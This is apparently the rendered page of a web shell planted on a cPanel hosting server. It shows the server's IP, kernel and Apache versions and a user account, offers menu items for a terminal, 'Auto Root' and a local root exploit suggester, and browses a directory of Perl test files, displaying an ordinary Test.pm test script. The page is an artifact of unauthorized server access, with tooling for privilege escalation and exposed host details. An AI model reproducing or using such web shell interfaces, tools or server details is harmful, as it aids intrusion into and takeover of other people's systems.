Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Test /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
05_about_verbose.t
2.09
KB
-r--r--r--
2014-12-27 11:48
fail.t
1.82
KB
-r--r--r--
2014-12-27 11:48
mix.t
976
B
-r--r--r--
2014-12-27 11:48
multiline.t
1.04
KB
-r--r--r--
2014-12-27 11:48
onfail.t
592
B
-r--r--r--
2014-12-27 11:48
qr.t
199
B
-r--r--r--
2014-12-27 11:48
skip.t
768
B
-r--r--r--
2014-12-27 11:48
success.t
271
B
-r--r--r--
2014-12-27 11:48
todo.t
1.04
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
# -*-perl-*- use strict; use Test qw(:DEFAULT $TESTOUT $TESTERR $ntest); ### This test is crafted in such a way as to prevent Test::Harness from ### seeing the todo tests, otherwise you get people sending in bug reports ### about Test.pm having "UNEXPECTEDLY SUCCEEDED" tests. open F, ">mix"; $TESTOUT = *F{IO}; $TESTERR = *F{IO}; plan tests => 4, todo => [2,3]; # line 15 ok(sub { my $r = 0; for (my $x=0; $x < 10; $x++) { $r += $x*($r+1); } $r }, 3628799); ok(0); ok(1); skip(1,0); close F; $TESTOUT = *STDOUT{IO}; $TESTERR = *STDERR{IO}; $ntest = 1; open F, "mix"; my $out = join '', <F>; close F; unlink "mix"; my $expect = <<"EXPECT"; 1..4 todo 2 3; ok 1 not ok 2 # Failed test 2 in $0 at line 23 *TODO* ok 3 # ($0 at line 24 TODO?!) ok 4 # skip EXPECT sub commentless { my $in = $_[0]; $in =~ s/^#[^\n]*\n//mg; $in =~ s/\n#[^\n]*$//mg; return $in; } print "1..1\n"; ok( commentless($out), commentless($expect) );